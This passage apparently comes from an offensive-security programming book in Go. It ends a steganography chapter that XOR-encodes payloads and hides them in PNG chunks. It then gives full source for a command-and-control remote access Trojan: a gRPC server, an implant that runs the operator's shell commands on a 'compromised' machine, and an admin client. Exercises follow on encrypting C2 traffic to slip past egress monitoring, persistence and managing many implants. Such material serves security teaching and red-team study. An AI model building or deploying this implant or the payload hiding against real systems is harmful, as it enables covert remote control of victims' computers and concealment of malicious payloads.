Listing 13-16: The encodeDecode() function (/ch-13 /imgInject/utils/encoders.go)
The encodeDecode() function consumes a byte slice containing the pay-
load u and a secret key value v as arguments. A new byte slice, bArr w, is
created within the function’s inner scope and initialized to the input byte
length value (the length of the payload). Next, the function uses a condi-
tional loop to iterate over each index position of input byte array.
Within the inner conditional loop, each iteration XORs the current
index’s binary value with a binary value derived from the modulo of the
current index value and length of the secret key x. This allows you to use a
key that is shorter than your payload. When the end of the key is reached,
the modulo will force the next iteration to use the first byte of the key. Each
XOR operation result is written to the new bArr byte slice, and the function
returns the resulting slice.
The functions in Listing 13-17 wrap the encodeDecode() function to facili-
tate the encoding and decoding process.
// XorEncode returns encoded byte array
u func XorEncode(decode []byte, key string) []byte {
v return encodeDecode(decode, key)
}
// XorDecode returns decoded byte array
u func XorDecode(encode []byte, key string) []byte {
v return encodeDecode(encode, key)
}
Listing 13-17: The XorEncode() and XorDecode() functions (/ch-13/imgInject/utils
/encoders.go)
You define two functions, XorEncode() and XorDecode(), which take the
same literal arguments u and return the same values v. That’s because
you decode XOR-encoded data by using the same process used to encode
the data. However, you define these functions separately, to provide clarity
within the program code.
To use these XOR functions in your existing program, you’ll have to
modify the ProcessImage() logic you created in Listing 13-8. These updates
will leverage the XorEncode() function to encrypt the payload. The modifi-
cations, shown in Listing 13-18, assume you’re using command line argu-
ments to pass values to conditional encode and decode logic.
Hiding Data with Steganography 309
// Encode Block
if (c.Offset != "") && c.Encode {
var m MetaChunk
u m.Chk.Data = utils.XorEncode([]byte(c.Payload), c.Key)
m.Chk.Type = chk.strToInt(c.Type)
m.Chk.Size = chk.createChunkSize()
m.Chk.CRC = chk.createChunkCRC()
bm := chk.marshalData()
bmb := bm.Bytes()
fmt.Printf("Payload Original: % X\n", []byte(c.Payload))
fmt.Printf("Payload Encode: % X\n", chk.Data)
utils.WriteData(b, c, bmb)
}
Listing 13-18: Updating ProcessImage() to include XOR encoding (/ch-13/imgInject
/pnglib/commands.go)
The function call to XorEncode() u passes a byte slice containing the pay-
load and secret key, XORs the two values, and returns a byte slice, which is
assigned to chk.Data. The remaining functionality remains unchanged and
marshals the new chunk segment to eventually be written to an image file.
The command line run of your program should produce a result simi-
lar to the one in Listing 13-19.
$ go run main.go -i images/battlecat.png --inject --offset 0x85258 --encode \
--key gophers --payload 1234243525522552522452355525 --output encodePNGfile
Valid PNG so let us continue!
u Payload Original: 31 32 33 34 32 34 33 35 32 35 35 32 32 35 35 32 35 32 32
34 35 32 33 35 35 35 32 35
v Payload Encode: 56 5D 43 5C 57 46 40 52 5D 45 5D 57 40 46 52 5D 45 5A 57 46
46 55 5C 45 5D 50 40 46
Success: encodePNGfile created
Listing 13-19: Running the imgInject program to XOR encode a data chunk block
The payload is written to a byte representation and displayed to stdout
as Payload Original u. The payload is then XORed with a key value of gophers
and displayed to stdout as Payload Encode v.
To decrypt your payload bytes, you use the decode function, as in
Listing 13-20.
//Decode Block
if (c.Offset != "") && c.Decode {
var m MetaChunk
u offset, _ := strconv.ParseInt(c.Offset, 10, 64)
v b.Seek(offset, 0)
w m.readChunk(b)
origData := m.Chk.Data
x m.Chk.Data = utils.XorDecode(m.Chk.Data, c.Key)
m.Chk.CRC = m.createChunkCRC()
y bm := m.marshalData()
310 Chapter 13
bmb := bm.Bytes()
fmt.Printf("Payload Original: % X\n", origData)
fmt.Printf("Payload Decode: % X\n", m.Chk.Data)
z utils.WriteData(b, c, bmb)
}
Listing 13-20: Decoding the image file and payload (/ch-13/imgInject/pnglib
/commands.go)
The block requires the offset position of the chunk segment that con-
tains the payload u. You use the offset to Seek() v the file position, along
with a subsequent call to readChunk() w that’s necessary to derive the SIZE,
TYPE, DATA, and CRC values. A call to XorDecode() x takes the chk.Data payload
value and the same secret key used to encode the data, and then assigns the
decoded payload value back to chk.Data. (Remember that this is symmetric
encryption, so you use the same key to both encrypt and decrypt the data.)
The code block continues by calling marshalData() y, which converts your
Chunk struct to a byte slice. Finally, you write the new chunk segment contain-
ing the decoded payload to a file by using the WriteData() function z.
A command line run of your program, this time with a decode argu-
ment, should produce the result in Listing 13-21.
$ go run main.go -i encodePNGfile -o decodePNGfile --offset 0x85258 –decode \
--key gophersValid PNG so let us continue!
u Payload Original: 56 5D 43 5C 57 46 40 52 5D 45 5D 57 40 46 52 5D 45 5A 57
46 46 55 5C 45 5D 50 40 46
v Payload Decode: 31 32 33 34 32 34 33 35 32 35 35 32 32 35 35 32 35 32 32 34
35 32 33 35 35 35 32 35
Success: decodePNGfile created
Listing 13-21: Running the imgInject program to XOR decode a data chunk block
The Payload Original value u is the encoded payload data read from the
original PNG file, while the Payload Decode value v is the decrypted payload.
If you compare your sample command line run from before and the output
here, you’ll notice that your decoded payload matches the original, cleartext
value you supplied originally.
There is a problem with the code, though. Recall that the program code
injects your new decoded chunk at an offset position of your specification. If
you have a file that already contains the encoded chunk segment and then
attempt to write a new file with a decoded chunk segment, you’ll end up with
both chunks in the new output file. You can see this in Figure 13-5.
Figure 13-5: The output file contains both the decoded chunk segment and encoded
chunk segment.
Hiding Data with Steganography 311
To understand why this happens, recall that the encoded PNG file has
the encoded chunk segment at offset 0x85258, as shown in Figure 13-6.
Figure 13-6: The output file containing the encoded chunk segment
The problem presents itself when the decoded data is written to off-
set 0x85258. When the decoded data gets written to the same location as
the encoded data, our implementation doesn’t delete the encoded data;
it merely shifts the remainder of the file bytes to the right, including the
encoded chunk segment, as illustrated previously in Figure 13-5. This can
complicate payload extraction or produce unintended consequences, such
as revealing the cleartext payload to network devices or security software.
Fortunately, this issue is quite easy to resolve. Let’s take a look at our
previous WriteData() function. This time, you can modify it to address the
problem (Listing 13-22).
//WriteData writes new data to offset
func WriteData(r *bytes.Reader, c *models.CmdLineOpts, b []byte) {
offset, err := strconv.ParseInt(c.Offset, 10, 64)
if err != nil {
log.Fatal(err)
}
w, err := os.OpenFile(c.Output, os.O_RDWR|os.O_CREATE, 0777)
if err != nil {
log.Fatal("Fatal: Problem writing to the output file!")
}
r.Seek(0, 0)
var buff = make([]byte, offset)
r.Read(buff)
w.Write(buff)
w.Write(b)
u if c.Decode {
v r.Seek(int64(len(b)), 1)
}
w _, err = io.Copy(w, r)
if err == nil {
fmt.Printf("Success: %s created\n", c.Output)
}
}
Listing 13-22: Updating WriteData() to prevent duplicate ancillary chunk types (/ch-13
/imgInject/utils/writer.go)
You introduce the fix with the c.Decode conditional logic u. The XOR
operation produces a byte-for-byte transaction. Therefore, the encoded
and decoded chunk segments are identical in length. Furthermore, the
312 Chapter 13
bytes.Reader will contain the remainder of the original encoded image file
at the moment the decoded chunk segment is written. So, you can perform
a right byte shift comprising the length of the decoded chunk segment on
the bytes.Reader v, advancing the bytes.Reader past the encoded chunk seg-
ment and writing the remainder of bytes to your new image file w.
Voila! As you can see in Figure 13-7, the hex editor confirms that you
resolved the problem. No more duplicate ancillary chunk types.
Figure 13-7: The output file without duplicate ancillary data
The encoded data no longer exists. Additionally, running ls -la against
the files should produce identical file lengths, even though file bytes have
changed.
Summary
In this chapter, you learned how to describe the PNG image file format as
a series of repetitive byte chunk segments, each with its respective purpose
and applicability. Next, you learned methods of reading and navigating the
binary file. Then you created byte data and wrote it to an image file. Finally,
you used XOR encoding to obfuscate your payload.
This chapter focused on image files and only scratched the surface of
what you can accomplish by using steganography techniques. But you should
be able to apply what you learned here to explore other binary file types.
Additional Exercises
Like many of the other chapters in this book, this chapter will provide
the most value if you actually code and experiment along the way.
Therefore, we want to conclude with a few challenges to expand on
the ideas already covered:
1.
While reading the XOR section, you may have noticed that the
XorDecode() function produces a decoded chunk segment, but never
updates the CRC checksum. See if you can correct this issue.
2.
The WriteData() function facilitates the ability to inject arbitrary chunk
segments. What code changes would you have to make if you wanted
to overwrite existing ancillary chunk segments? If you need help, our
explanation about byte shifting and the Seek() function may be useful
in solving this problem.
Hiding Data with Steganography 313
3. Here’s a more challenging problem: try to inject a payload—the PNG
DATA byte chunk—by distributing it throughout various ancillary chunk
segments. You could do this one byte at a time, or with multiple group-
ings of bytes, so get creative. As an added bonus, create a decoder that
reads exact payload byte offset locations, making it easier to extract
the payload.
4. The chapter explained how to use XOR as a confidentiality technique—a
method to obfuscate the implanted payload. Try to implement a different
technique, such as AES encryption. Go core packages provide a number
of possibilities (see Chapter 11 if you need a refresher). Observe how the
solution affects the new image. Does it cause the overall size to increase,
and if so, by how much?
5. Use the code ideas within this chapter to expand support for other
image file formats. Other image specifications may not be as organized
as PNG. Want proof? Give the PDF specification a read, as it can be
rather intimidating. How would you solve the challenges of reading
and writing data to this new image format?
14
BU IL DING A
CO M M A N D - A N D - CON T ROL R AT
In this chapter, we’ll tie together several
lessons from the previous chapters to build
a basic command and control (C2) remote
access Trojan (RAT). A RAT is a tool used by
attackers to remotely perform actions on a compro
mised victim’s machine, such as accessing the file
system, executing code, and sniffing network traffic.
Building this RAT requires building three separate tools: a client implant,
a server, and an admin component. The client implant is the portion of the
RAT that runs on a compromised workstation. The server is what will interact
with the client implant, much like the way Cobalt Strike’s team server—the
server component of the widely used C2 tool—sends commands to compro
mised systems. Unlike the team server, which uses a single service to facili
tate server and administrative functions, we’ll create a separate, standalone
admin component used to actually issue the commands. This server will act
as the middleman, choreographing communications between compromised
systems and the attacker interacting with the admin component.
316 Chapter 14
There are an infinite number of ways to design a RAT. In this chapter,
we aim to highlight how to handle client and server communications for
remote access. For this reason, we’ll show you how to build something simple
and unpolished, and then prompt you to create significant improvements
that should make your specific version more robust. These improvements, in
many cases, will require you to reuse content and code examples from previ
ous chapters. You’ll apply your knowledge, creativity, and problemsolving
ability to enhance your implementation.
Getting Started
To get started, let’s review what we’re going to do: we’ll create a server that
receives work in the form of operating system commands from an admin
component (which we’ll also create). We’ll create an implant that polls the
server periodically to look for new commands and then publishes the com
mand output back onto the server. The server will then hand that result back
to the administrative client so that the operator (you) can see the output.
Let’s start by installing a tool that will help us handle all these network
interactions and reviewing the directory structure for this project.
Installing Protocol Buffers for Defining a gRPC API
We’ll build all the network interactions by using gRPC, a highperformance
remote procedure call (RPC) framework created by Google. RPC frame
works allow clients to communicate with servers over standard and defined
protocols without having to understand any of the underlying details. The
gRPC framework operates over HTTP/2, communicating messages in a
highly efficient, binary structure.
Much like other RPC mechanisms, such as REST or SOAP, our data
structures need to be defined in order to make them easy to serialize and
deserialize. Luckily for us, there’s a mechanism for defining our data and
API functions so we can use them with gRPC. This mechanism, Protocol
Buffers (or Protobuf, for short), includes a standard syntax for API and
complex data definitions in the form of a .proto file. Tooling exists to com
pile that definition file into Gofriendly interface stubs and data types. In
fact, this tooling can produce output in a variety of languages, meaning you
can use the .proto file to generate C# stubs and types.
Your first order of business is to install the Protobuf compiler on your
system. Walking through the installation is outside the scope of this book,
but you’ll find full details under the “Installation” section of the official Go
Protobuf repository at https://github.com/golang/protobuf/. Also, while you’re
at it, install the gRPC package with the following command:
> go get -u google.golang.org/grpc
Building a Command-and-Control RAT 317
Creating the Project Workspace
Next, let’s create our project workspace. We’ll create four subdirectories to
account for the three components (the implant, server, and admin compo
nent) and the gRPC API definition files. In each of the component direc
tories, we’ll create a single Go file (of the same name as the encompassing
directory) that’ll belong to its own main package. This lets us independently
compile and run each as a standalone component and will create a descrip
tive binary name in the event we run go build on the component. We’ll also
create a file named implant.proto in our grpcapi directory. That file will hold
our Protobuf schema and gRPC API definitions. Here’s the directory struc
ture you should have:
$ tree
.
|-- client
| |-- client.go
|-- grpcapi
| |-- implant.proto
|-- implant
| |-- implant.go
|-- server
|-- server.go
With the structure created, we can begin building our implementation.
Throughout the next several sections, we’ll walk you through the contents
of each file.
Defining and Building the gRPC API
The next order of business is to define the functionality and data our gRPC
API will use. Unlike building and consuming REST endpoints, which have
a fairly welldefined set of expectations (for example, they use HTTP verbs
and URL paths to define which action to take on which data), gRPC is more
arbitrary. You effectively define an API service and tie to it the function proto
types and data types for that service. We’ll use Protobufs to define our API.
You can find a full explanation of the Protobuf syntax with a quick Google
search, but we’ll briefly explain it here.
At a minimum, we’ll need to define an administrative service used by
operators to send operating system commands (work) to the server. We’ll also
need an implant service used by our implant to fetch work from the server
and send the command output back to the server. Listing 141 shows the
contents of the implant.proto file. (All the code listings at the root location of /
exist under the provided github repo https://github.com/blackhat-go/bhg/.)
//implant.proto
syntax = "proto3";
u package grpcapi;
318 Chapter 14
// Implant defines our C2 API functions
v service Implant {
rpc FetchCommand (Empty) returns (Command);
rpc SendOutput (Command) returns (Empty);
}
// Admin defines our Admin API functions
w service Admin {
rpc RunCommand (Command) returns (Command);
}
// Command defines a with both input and output fields
x message Command {
string In = 1;
string Out = 2;
}
// Empty defines an empty message used in place of null
y message Empty {
}
Listing 14-1: Defining the gRPC API by using Protobuf (/ch-14/grpcapi/implant.proto)
Recall how we intend to compile this definition file into Gospecific
artifacts? Well, we explicitly include package grpcapi u to instruct the com
piler that we want these artifacts created under the grpcapi package. The
name of this package is arbitrary. We picked it to ensure that the API code
remains separate from the other components.
Our schema then defines a service named Implant and a service named
Admin. We’re separating these because we expect our Implant component
to interact with our API in a different manner than our Admin client. For
example, we wouldn’t want our Implant sending operating system command
work to our server, just as we don’t want to require our Admin component to
send command output to the server.
We define two methods on the Implant service: FetchCommand and Send
Output v. Defining these methods is like defining an interface in Go. We’re
saying that any implementation of the Implant service will need to imple
ment those two methods. FetchCommand, which takes an Empty message as
a parameter and returns a Command message, will retrieve any outstand
ing operating system commands from the server. SendOutput will send a
Command message (which contains command output) back to the server.
These messages, which we’ll cover momentarily, are arbitrary, complex
data structures that contain fields necessary for us to pass data back and
forth between our endpoints.
Our Admin service defines a single method: RunCommand, which takes a
Command message as a parameter and expects to read a Command message back w.
Its intention is to allow you, the RAT operator, to run an operating system
command on a remote system that has a running implant.
Building a Command-and-Control RAT 319
Lastly, we define the two messages we’ll be passing around: Command and
Empty. The Command message contains two fields, one used for maintaining
the operating system command itself (a string named In) and one used
for maintaining the command output (a string named Out) x. Note that
the message and field names are arbitrary, but that we assign each field
a numerical value. You might be wondering how we can assign In and Out
numerical values if we defined them to be strings. The answer is that this is
a schema definition, not an implementation. Those numerical values repre
sent the offset within the message itself where those fields will appear. We’re
saying In will appear first, and Out will appear second. The Empty message
contains no fields y. This is a hack to work around the fact that Protobuf
doesn’t explicitly allow null values to be passed into or returned from an
RPC method.
Now we have our schema. To wrap up the gRPC definition, we need to
compile the schema. Run the following command from the grpcapi directory:
> protoc -I . implant.proto --go_out=plugins=grpc:./
This command, which is available after you complete the initial instal
lation we mentioned earlier, searches the current directory for the Protobuf
file named implant.proto and produces Gospecific output in the current
directory. Once you execute it successfully, you should have a new file
named implant.pb.go in your grpcapi directory. This new file contains the
interface and struct definitions for the services and messages created in
the Protobuf schema. We’ll leverage this for building our server, implant,
and admin component. Let’s build these one by one.
Creating the Server
Let’s start with the server, which will accept commands from the admin
client and polling from the implant. The server will be the most complicated
of the components, since it’ll need to implement both the Implant and Admin
services. Plus, since it’s acting as a middleman between the admin component
and implant, it’ll need to proxy and manage messages coming to and from
each side.
Implementing the Protocol Interface
Let’s first look at the guts of our server in server/server.go (Listing 142).
Here, we’re implementing the interface methods necessary for the server
to read and write commands from and to shared channels.
u type implantServer struct {
work, output chan *grpcapi.Command
}
320 Chapter 14
type adminServer struct {
work, output chan *grpcapi.Command
}
v func NewImplantServer(work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer(work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}
w func (s *implantServer) FetchCommand(ctx context.Context, \
empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
x select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
// No work
return cmd, nil
}
}
y func (s *implantServer) SendOutput(ctx context.Context, \
result *grpcapi.Command)
(*grpcapi.Empty, error) {
s.output <- result
return &grpcapi.Empty{}, nil
}
z func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) \
(*grpcapi.Command, error) {
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <-s.output
return res, nil
}
Listing 14-2: Defining the server types (/ch-14/server /server.go)
To serve our admin and implant APIs, we need to define server types
that implement all the necessary interface methods. This is the only way
Building a Command-and-Control RAT 321
we can start an Implant or Admin service. That is, we’ll need to have the Fetch
Command(ctx context.Context, empty *grpcapi.Empty), SendOutput(ctx context
.Context, result *grpcapi.Command), and RunCommand(ctx context.Context, cmd
*grpcapi.Command) methods properly defined. To keep our implant and
admin APIs mutually exclusive, we’ll implement them as separate types.
First, we create our structs, named implantServer and adminServer, that’ll
implement the necessary methods u. Each type contains identical fields:
two channels, used for sending and receiving work and command output.
This is a pretty simple way for our servers to proxy the commands and their
responses between the admin and implant components.
Next, we define a couple of helper functions, NewImplantServer(work, output
chan *grpcapi.Command) and NewAdminServer(work, output chan *grpcapi .Command),
that create new implantServer and adminServer instances v. These exist solely
to make sure the channels are properly initialized.
Now comes the interesting part: the implementation of our gRPC
methods. You might notice that the methods don’t exactly match the Protobuf
schema. For example, we’re receiving a context.Context parameter in each
method and returning an error. The protoc command you ran earlier to
compile your schema added these to each interface method definition in
the generated file. This lets us manage request context and return errors.
This is pretty standard stuff for most network communications. The com
piler spared us from having to explicitly require that in our schema file.
The first method we implement on our implantServer, FetchCommand(ctx
context.Context, empty *grpcapi.Empty), receives a *grpcapi.Empty and returns
a *grpcapi.Command w. Recall that we defined this Empty type because gRPC
doesn’t allow null values explicitly. We don’t need to receive any input since
the client implant will call the FetchCommand(ctx context.Context, empty *grpcapi
.Empty) method as sort of a polling mechanism that asks, “Hey, do you have
work for me?” The method’s logic is a bit more complicated, since we can
send work to the implant only if we actually have work to send. So, we use
a select statement x on the work channel to determine whether we do have
work. Reading from a channel in this manner is nonblocking, meaning that
execution will run our default case if there’s nothing to read from the
channel. This is ideal, since we’ll have our implant calling FetchCommand(ctx
context.Context, empty *grpcapi.Empty) on a periodic basis as a way to get
work on a nearrealtime schedule. In the event that we do have work in the
channel, we return the command. Behind the scenes, the command will be
serialized and sent over the network back to the implant.
The second implantServer method, SendOutput(ctx context.Context,
result *grpcapi.Command), pushes the received *grpcapi.Command onto the output
channel y. Recall that we defined our Command to have not only a string field
for the command to run, but also a field to hold the command’s output. Since
the Command we’re receiving has the output field populated with the result of a
command (as run by the implant) the SendOutput(ctx context.Context, result
*grpcapi.Command) method simply takes that result from the implant and puts
it onto a channel that our admin component will read from later.
The last implantServer method, RunCommand(ctx context.Context, cmd
*grpcapi .Command), is defined on the adminServer type. It receives a Command
322 Chapter 14
that has not yet been sent to the implant z. It represents a unit of work our
admin component wants our implant to execute. We use a goroutine to
place our work on the work channel. As we’re using an unbuffered channel,
this action blocks execution. We need to be able to read from the output
channel, though, so we use a goroutine to put work on the channel and
continue execution. Execution blocks, waiting for a response on our output
channel. We’ve essentially made this flow a synchronous set of steps: send
a command to an implant and wait for a response. When we receive the
response, we return the result. Again, we expect this result, a Command, to have
its output field populated with the result of the operating system command
executed by the implant.
Writing the main() Function
Listing 143 shows the server/server.go file’s main() function, which runs two
separate servers—one to receive commands from the admin client and the
other to receive polling from the implant. We have two listeners so that we
can restrict access to our admin API—we don’t want just anyone interact
ing with it—and we want to have our implant listen on a port that you can
access from restrictive networks.
func main() {
u var (
implantListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
v work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
w implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output)
x if implantListener, err = net.Listen("tcp", \
fmt.Sprintf("localhost:%d", 4444)); err != nil {
log.Fatal(err)
}
if adminListener, err = net.Listen("tcp", \
fmt.Sprintf("localhost:%d", 9090)); err != nil {
log.Fatal(err)
}
y grpcAdminServer, grpcImplantServer := \
grpc.NewServer(opts...), grpc.NewServer(opts...)
z grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)
{ go func() {
grpcImplantServer.Serve(implantListener)
}()
| grpcAdminServer.Serve(adminListener)
}
Listing 14-3: Running admin and implant servers (/ch-14/server/server.go)
Building a Command-and-Control RAT 323
First, we declare variables u. We use two listeners: one for the implant
server and one for the admin server. We’re doing this so that we can serve
our admin API on a port separate from our implant API.
We create the channels we’ll use for passing messages between the
implant and admin services v. Notice that we use the same channels for
initializing both the implant and admin servers via calls to NewImplantServer
(work, output) and NewAdminServer(work, output) w. By using the same channel
instances, we’re letting our admin and implant servers talk to each other
over this shared channel.
Next, we initiate our network listeners for each server, binding our
implantListener to port 4444 and our adminListener to port 9090 x. We’d
generally use port 80 or 443, which are HTTP/s ports that are commonly
allowed to egress networks, but in this example, we just picked an arbitrary
port for testing purposes and to avoid interfering with other services run
ning on our development machines.
We have our networklevel listeners defined. Now we set up our gRPC
server and API. We create two gRPC server instances (one for our admin
API and one for our implant API) by calling grpc.NewServer() y. This initial
izes the core gRPC server that will handle all the network communications
and such for us. We just need to tell it to use our API. We do this by reg
istering instances of API implementations (named implant and admin in
our example) by calling grpcapi.RegisterImplantServer(grpcImplantServer,
implant) z and grpcapi.RegisterAdminServer(grpcAdminServer, admin). Notice
that, although we have a package we created named grpcapi, we never defined
these two functions; the protoc command did. It created these functions for
us in implant.pb.go as a means to create new instances of our implant and
admin gRPC API servers. Pretty slick!
At this point, we’ve defined the implementations of our API and reg
istered them as gRPC services. The last thing we do is start our implant
server by calling grpcImplantServer.Serve(implantListener) {. We do this from
within a goroutine to prevent the code from blocking. After all, we want to
also start our admin server, which we do via a call to grpcAdminServer.Serve
(adminListener) |.
Your server is now complete, and you can start it by running go run
server/server.go. Of course, nothing is interacting with your server, so nothing
will happen yet. Let’s move on to the next component—our implant.
Creating the Client Implant
The client implant is designed to run on compromised systems. It will act
as a backdoor through which we can run operating system commands. In
this example, the implant will periodically poll the server, asking for work. If
there is no work to be done, nothing happens. Otherwise, the implant exe
cutes the operating system command and sends the output back to the server.
Listing 144 shows the contents of implant/implant.go.
324 Chapter 14
func main() {
var
(
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.ImplantClient u
)
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 4444), opts...); err != nil { v
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn) w
ctx := context.Background()
for { x
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req) y
if err != nil {
log.Fatal(err)
}
if cmd.In == "" {
// No work
time.Sleep(3*time.Second)
continue
}
tokens := strings.Split(cmd.In, " ") z
var c *exec.Cmd
if len(tokens) == 1 {
c = exec.Command(tokens[0])
} else {
c = exec.Command(tokens[0], tokens[1:]...)
}
buf, err := c.CombinedOutput(){
if err != nil {
cmd.Out = err.Error()
}
cmd.Out += string(buf)
client.SendOutput(ctx, cmd) |
}
}
Listing 14-4: Creating the implant (/ch-14/implant/implant.go)
The implant code contains a main() function only. We start by declar
ing our variables, including one of the grpcapi.ImplantClient type u. The
protoc command automatically created this type for us. The type has all the
required RPC function stubs necessary to facilitate remote communications.
We then establish a connection, via grpc.Dial(target string, opts...
DialOption), to the implant server running on port 4444 v. We’ll use this
Building a Command-and-Control RAT 325
connection for the call to grpcapi.NewImplantClient(conn) w (a function that
protoc created for us). We now have our gRPC client, which should have an
established connection back to our implant server.
Our code proceeds to use an infinite for loop x to poll the implant
server, repeatedly checking to see if there’s work that needs to be performed.
It does this by issuing a call to client.FetchCommand(ctx, req), passing it a
request context and Empty struct y. Behind the scenes, it’s connecting
to our API server. If the response we receive doesn’t have anything in the
cmd.In field, we pause for 3 seconds and then try again. When a unit of work
is received, the implant splits the command into individual words and argu
ments by calling strings.Split(cmd.In, " ") z. This is necessary because
Go’s syntax for executing operating system commands is exec.Command(name,
args...), where name is the command to be run and args... is a list of any
subcommands, flags, and arguments used by that operating system com
mand. Go does this to prevent operating system command injection, but it
complicates our execution, because we have to split up the command into
relevant pieces before we can run it. We run the command and gather out
put by running c.CombinedOutput() {. Lastly, we take that output and initiate
a gRPC call to client.SendOutput(ctx, cmd) to send our command and its out
put back to the server |.
Your implant is complete, and you can run it via go run implant/implant.go.
It should connect to your server. Again, it’ll be anticlimactic, as there’s no
work to be performed. Just a couple of running processes, making a con
nection but doing nothing meaningful. Let’s fix that.
Building the Admin Component
The admin component is the final piece to our RAT. It’s where we’ll actu
ally produce work. The work will get sent, via our admin gRPC API, to the
server, which then forwards it on to the implant. The server gets the output
from the implant and sends it back to the admin client. Listing 145 shows
the code in client/client.go.
func main() {
var
(
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.AdminClient u
)
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("localhost:%d", 9090), opts...); err != nil { v
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn) w
326 Chapter 14
var cmd = new(grpcapi.Command)
cmd.In = os.Args[1] x
ctx := context.Background()
cmd, err = client.RunCommand(ctx, cmd) y
if err != nil {
log.Fatal(err)
}
fmt.Println(cmd.Out) z
}
Listing 14-5: Creating the admin client (/ch-14/client/client.go)
We start by defining our grpcapi.AdminClient variable u, establishing a
connection to our administrative server on port 9090 v, and using the con
nection in a call to grpcapi.NewAdminClient(conn) w, creating an instance of our
admin gRPC client. (Remember that the grpcapi.AdminClient type and grpcapi
.NewAdminClient() function were created for us by protoc.) Before we proceed,
compare this client creation process with that of the implant code. Notice the
similarities, but also the subtle differences in types, function calls, and ports.
Assuming there is a command line argument, we read the operating
system command from it x. Of course, the code would be more robust if we
checked whether an argument was passed in, but we’re not worried about it
for this example. We assign that command string to the cmd.In. We pass this
cmd, a *grpcapi.Command instance, to our gRPC client’s RunCommand(ctx context
.Context, cmd *grpcapi.Command) method y. Behind the scenes, this command
gets serialized and sent to the admin server we created earlier. After the
response is received, we expect the output to populate with the operating
system command results. We write that output to the console z.
Running the RAT
Now, assuming you have both the server and the implant running, you can
execute your admin client via go run client/client.go command. You should
receive the output in your admin client terminal and have it displayed to
the screen, like this:
$ go run client/client.go 'cat /etc/resolv.conf'
domain Home
nameserver 192.168.0.1
nameserver 205.171.3.25
There it is—a working RAT. The output shows the contents of a remote
file. Run some other commands to see your implant in action.
Improving the RAT
As we mentioned at the beginning of this chapter, we purposely kept this
RAT small and featurebare. It won’t scale well. It doesn’t gracefully handle
errors or connection disruptions, and it lacks a lot of basic features that
Building a Command-and-Control RAT 327
allow you to evade detection, move across networks, escalate privileges,
and more.
Rather than making all these improvements in our example, we instead
lay out a series of enhancements that you can make on your own. We’ll dis
cuss some of the considerations but will leave each as an exercise for you.
To complete these exercises, you’ll likely need to refer to other chapters of
this book, dig deeper into Go package documentation, and experiment with
using channels and concurrency. It’s an opportunity to put your knowledge
and skills to a practical test. Go forth and make us proud, young Padawan.
Encrypt Your Communications
All C2 utilities should encrypt their network traffic! This is especially
impor tant for communications between the implant and the server, as
you should expect to find egress network monitoring in any modern
enterprise environment.
Modify your implant to use TLS for these communications. This will
require you to set additional values for the []grpc.DialOptions slice on the
client as well as on the server. While you’re at it, you should probably alter
your code so that services are bound to a defined interface, and listen and
connect to localhost by default. This will prevent unauthorized access.
A consideration you’ll have to make, particularly if you’ll be perform
ing mutual certificatebased authentication, is how to administer and man
age the certificates and keys in the implant. Should you hardcode them?
Store them remotely? Derive them at runtime with some magic voodoo that
determines whether your implant is authorized to connect to your server?
Handle Connection Disruptions
While we’re on the topic of communications, what happens if your implant
can’t connect to your server or if your server dies with a running implant?
You may have noticed that it breaks everything—the implant dies. If the
implant dies, well, you’ve lost access to that system. This can be a pretty big
deal, particularly if the initial compromise happened in a manner that’s
hard to reproduce.
Fix this problem. Add some resilience to your implant so that it doesn’t
immediately die if a connection is lost. This will likely involve replacing calls
to log.Fatal(err) in your implant.go file with logic that calls grpc.Dial(target
string, opts ...DialOption) again.
Register the Implants
You’ll want to be able to track your implants. At present, our admin client
sends a command expecting only a single implant to exist. There is no means
of tracking or registering an implant, let alone any means of sending a com
mand to a specific implant.
Add functionality that makes an implant register itself with the server
upon initial connection, and add functionality for the admin client to
retrieve a list of registered implants. Perhaps you assign a unique integer
328 Chapter 14
to each implant or use a UUID (check out https://github.com/google/uuid/).
This will require changes to both the admin and implant APIs, starting with
your implant.proto file. Add a RegisterNewImplant RPC method to the Implant
service, and add ListRegisteredImplants to the Admin service. Recompile the
schema with protoc, implement the appropriate interface methods in server/
server.go, and add the new functionality to the logic in client/client.go (for the
admin side) and implant/implant.go (for the implant side).
Add Database Persistence
If you completed the previous exercises in this section, you added some
resilience to the implants to withstand connection disruptions and set up
registration functionality. At this point, you’re most likely maintaining the
list of registered implants in memory in server/server.go. What if you need to
restart the server or it dies? Your implants will continue to reconnect, but
when they do, your server will be unaware of which implants are registered,
because you’ll have lost the mapping of the implants to their UUID.
Update your server code to store this data in a database of your choos
ing. For a fairly quick and easy solution with minimal dependencies, con
sider a SQLite database. Several Go drivers are available. We personally
used go-sqlite3 (https://github.com/mattn/go-sqlite3/).
Support Multiple Implants
Realistically, you’ll want to support multiple simultaneous implants polling
your server for work. This would make your RAT significantly more useful,
because it could manage more than a single implant, but it requires pretty
significant changes as well.
That’s because, when you wish to execute a command on an implant,
you’ll likely want to execute it on a single specific implant, not the first one
that polls the server for work. You could rely on the implant ID created
during registration to keep the implants mutually exclusive, and to direct
commands and output appropriately. Implement this functionality so that
you can explicitly choose the destination implant on which the command
should be run.
Further complicating this logic, you’ll need to consider that you might
have multiple admin operators sending commands out simultaneously,
as is common when working with a team. This means that you’ll probably
want to convert your work and output channels from unbuffered to buffered
types. This will help keep execution from blocking when there are multiple
